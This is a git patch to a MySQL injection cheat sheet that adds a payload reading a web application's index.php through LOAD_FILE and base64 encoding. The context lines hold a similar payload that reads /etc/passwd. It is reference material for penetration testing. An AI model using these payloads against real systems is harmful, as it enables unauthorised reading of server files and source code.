From 335a5c42fbdb5753354761c2564b2986b2076e96 Mon Sep 17 00:00:00 2001 From: Alvin Smith Date: Sat, 25 Sep 2021 22:53:25 +1200 Subject: [PATCH] Update MySQL Injection.md --- SQL Injection/MySQL Injection.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/SQL Injection/MySQL Injection.md b/SQL Injection/MySQL Injection.md index c4df66b..1764a13 100644 --- a/SQL Injection/MySQL Injection.md +++ b/SQL Injection/MySQL Injection.md @@ -389,6 +389,10 @@ Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The ' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- ``` +```sql +UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php')); +``` + If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query ```sql